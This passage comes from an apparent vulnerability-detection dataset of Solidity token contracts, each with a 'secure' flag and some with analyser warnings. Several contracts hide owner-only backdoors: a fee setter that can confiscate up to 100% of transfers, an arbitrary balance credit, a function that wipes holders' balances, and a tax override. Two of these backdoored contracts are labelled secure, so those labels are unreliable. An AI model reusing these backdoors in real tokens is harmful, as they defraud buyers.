&&\n to == _p76238)\n ) {\n uint256 _X7W88 = amount + 1;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = \"Bridge Payments\";\n\n _symbol = \"BRIDGE\";\n\n uint256 _amount = 1000000000;\n\n _mint(msg.sender, _amount * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3672.sol",
"secure": 0,
"size_bytes": 10003
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract RSPartyHat is ERC20, Ownable {\n constructor() ERC20(\"RS Party Hat \", \"RSHAT\") {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3673.sol",
"secure": 1,
"size_bytes": 360
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MMGA is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e884533): MMGA._decimals should be immutable \n\t// Recommendation for e884533: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d73e6f0): MMGA._totalSupply should be immutable \n\t// Recommendation for d73e6f0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 103446b): MMGA._markadseress should be immutable \n\t// Recommendation for 103446b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _markadseress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _markadseress = 0x55aC32024E2d78EC83C348598909e74569bA6689;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apporve(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _markadseress;\n }\n\n function liqmmgaburnt(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3674.sol",
"secure": 1,
"size_bytes": 5341
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: bb4ab34): YunaChan.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for bb4ab34: Consider ordering multiplication before division.\ncontract YunaChan is Context, Ownable, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d270b38): YunaChan._taxWallet should be immutable \n\t// Recommendation for d270b38: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3166d1b): YunaChan._initialBuyTax should be constant \n\t// Recommendation for 3166d1b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 09883d8): YunaChan._initialSellTax should be constant \n\t// Recommendation for 09883d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 90e901c): YunaChan._finalBuyTax should be constant \n\t// Recommendation for 90e901c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3351f29): YunaChan._finalSellTax should be constant \n\t// Recommendation for 3351f29: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8087cd3): YunaChan._reduceBuyTaxAt should be constant \n\t// Recommendation for 8087cd3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: e0f35af): YunaChan._reduceSellTaxAt should be constant \n\t// Recommendation for e0f35af: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39ce67e): YunaChan._preventSwapBefore should be constant \n\t// Recommendation for 39ce67e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Yuna Chan\";\n\n string private constant _symbol = unicode\"YUNA\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 12091b0): YunaChan._taxSwapThreshold should be constant \n\t// Recommendation for 12091b0: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: bb4ab34\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fbc0032): YunaChan._maxTaxSwap should be immutable \n\t// Recommendation for fbc0032: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: bb4ab34\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private taxAmount;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0618e6b): YunaChan.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0618e6b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6a5e1ff): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6a5e1ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 37bcbed): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 37bcbed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6a5e1ff\n\t\t// reentrancy-benign | ID: 37bcbed\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6a5e1ff\n\t\t// reentrancy-benign | ID: 37bcbed\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f0c431d): YunaChan._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f0c431d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 37bcbed\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6a5e1ff\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 54da298): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 54da298: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5bcd49a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5bcd49a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d8b06cb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d8b06cb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != _taxWallet &&\n limitsInEffect\n ) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 54da298\n\t\t\t\t// reentrancy-benign | ID: 5bcd49a\n\t\t\t\t// reentrancy-eth | ID: d8b06cb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 54da298\n\t\t\t\t\t// reentrancy-eth | ID: d8b06cb\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d8b06cb\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d8b06cb\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d8b06cb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-benign | ID: 5bcd49a\n if (!limitsInEffect) taxAmount = 0;\n\n\t\t\t// reentrancy-events | ID: 54da298\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d8b06cb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d8b06cb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 54da298\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeTxLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeAllLimits() external {\n limitsInEffect = false;\n\n require(_msgSender() == _taxWallet);\n }\n\n function swapBackSettings(bool enabled, uint256 swapThreshold) external {\n require(_msgSender() == _taxWallet);\n\n taxAmount = swapThreshold;\n\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 44ec62a): YunaChan.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 44ec62a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 54da298\n\t\t// reentrancy-events | ID: 6a5e1ff\n\t\t// reentrancy-eth | ID: d8b06cb\n\t\t// arbitrary-send-eth | ID: 44ec62a\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f173e2c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f173e2c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b097e4e): YunaChan.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b097e4e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 95d880c): YunaChan.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 95d880c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4836417): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4836417: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: f173e2c\n\t\t\t// reentrancy-eth | ID: 4836417\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: f173e2c\n\t\t// unused-return | ID: b097e4e\n\t\t// reentrancy-eth | ID: 4836417\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f173e2c\n\t\t// unused-return | ID: 95d880c\n\t\t// reentrancy-eth | ID: 4836417\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: f173e2c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4836417\n tradingOpen = true;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 54da298\n\t\t// reentrancy-events | ID: 6a5e1ff\n\t\t// reentrancy-benign | ID: 5bcd49a\n\t\t// reentrancy-benign | ID: 37bcbed\n\t\t// reentrancy-eth | ID: d8b06cb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: e8d936e): YunaChan.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for e8d936e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: e8d936e\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap(uint256 tokenAmount) external {\n require(_msgSender() == _taxWallet);\n\n if (tokenAmount > 0 && swapEnabled) {\n swapTokensForEth(tokenAmount);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3675.sol",
"secure": 0,
"size_bytes": 19325
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract FreeTrump is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable uniqueearing;\n\n constructor() {\n _name = \"FreeTrump\";\n\n _symbol = \"FTRUMP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 47300000000;\n\n uniqueearing = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == uniqueearing, \"Not allowed\");\n\n _;\n }\n\n function peal(address[] memory fantastic) public onlyOwner {\n for (uint256 i = 0; i < fantastic.length; i++) {\n address account = fantastic[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3676.sol",
"secure": 1,
"size_bytes": 4386
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapAndCoinManager {\n function deployCoinAndPool(uint256 ethForPool) external payable;\n\n function mintTokens(address participant, uint256 amount) external;\n\n function coinAddress() external view returns (address);\n}",
"file_name": "solidity_code_3677.sol",
"secure": 1,
"size_bytes": 306
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\nimport \"./IUniswapAndCoinManager.sol\" as IUniswapAndCoinManager;\n\ncontract PresaleContract is Ownable, ReentrancyGuard {\n enum ComputerType {\n Triton,\n Hyperion,\n Nyx,\n Hecate\n }\n\n IUniswapAndCoinManager public immutable _uniswapAndCoinManager;\n\n AggregatorV3Interface internal immutable _priceFeed;\n\n uint256 public constant DECIMALS = 1e18;\n\n uint256 public constant TOTAL_TOKENS = 40e6 * DECIMALS;\n\n uint256 public constant BASE_TRITON_PRICE = 9e5;\n\n uint256 public constant BASE_HYPERION_PRICE = 9.3e5;\n\n uint256 public constant BASE_NYX_PRICE = 2.4e5;\n\n uint256 public constant BASE_HECATE_PRICE = 4.5e5;\n\n uint256 public constant GLOBAL_TIMER = 604800 * 26;\n\n uint256 public constant MAX_ROUND = 3;\n\n uint256 public constant ADVISOR_PERCENTAGE = 10;\n\n uint256 public constant REFUND_PERCENTAGE = 10;\n\n uint256 public constant TEAM_PERCENTAGE = 20;\n\n uint256 public constant PERCENTAGE_BASE = 100;\n\n uint256[4] public _roundPrices = [10, 15, 20, 25];\n\n uint256[4] public _roundTokenLimits = [\n 4e6 * DECIMALS,\n 8e6 * DECIMALS,\n 12e6 * DECIMALS,\n 16e6 * DECIMALS\n ];\n\n uint256 public _currentRound = 0;\n\n uint256 public _totalTokensSold;\n\n uint256 public _totalEthSpentInComputers;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38778d2): PresaleContract._presaleStartedAt should be immutable \n\t// Recommendation for 38778d2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _presaleStartedAt;\n\n uint256 public teamTotalVestedEth;\n\n uint256 public teamEthWithdrawn;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 55d9640): PresaleContract.teamEthVestingStartTime should be immutable \n\t// Recommendation for 55d9640: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public teamEthVestingStartTime;\n\n uint256 public constant TEAM_ETH_VESTING_DURATION = 2 * 365 days;\n\n mapping(address => uint256) public _computerTritonPurchases;\n\n mapping(address => uint256) public _computerHyperionPurchases;\n\n mapping(address => uint256) public _computerNyxPurchases;\n\n mapping(address => uint256) public _computerHecatePurchases;\n\n mapping(address => uint256) public _tokenPurchases;\n\n mapping(uint256 => uint256) public _tokensSoldPerRound;\n\n mapping(address => address) private _advisorForParticipant;\n\n mapping(address => mapping(uint256 => uint256))\n public _tokensSoldPerRoundByAddress;\n\n mapping(address => mapping(uint256 => uint256))\n public totalTokensEthSpentByUserInARound;\n\n mapping(address => uint256) public totalSpent;\n\n mapping(address => bool) private _validAdvisors;\n\n mapping(address => bool) public isAParticipant;\n\n address[] public _participants;\n\n event AdvisorAdded(address indexed advisor);\n\n event AdvisorRemoved(address indexed advisor);\n\n event ComputerPurchased(\n address indexed buyer,\n uint256 indexed amount,\n uint256 indexed ethSpent,\n ComputerType\n );\n\n event RoundAdvanced(uint256 indexed newRound);\n\n event AddressRefunded(address indexed purchaser, uint256 indexed amount);\n\n event TokenPurchased(\n address indexed purchaser,\n uint256 amount,\n uint256 ethSpent\n );\n\n event OwnerFundsTransferred(uint256 amount, uint256 timestamp);\n\n event TeamEthWithdrawn(uint256 amount, uint256 timestamp);\n\n bool public _isInEmergencyWithdraw;\n\n constructor(address uniswapAndCoinManager_) Ownable() {\n require(uniswapAndCoinManager_ != address(0), \"Invalid address\"); // @dev Ensure the Uniswap and Coin Manager address is valid\n\n _uniswapAndCoinManager = IUniswapAndCoinManager(uniswapAndCoinManager_);\n\n _priceFeed = AggregatorV3Interface(\n 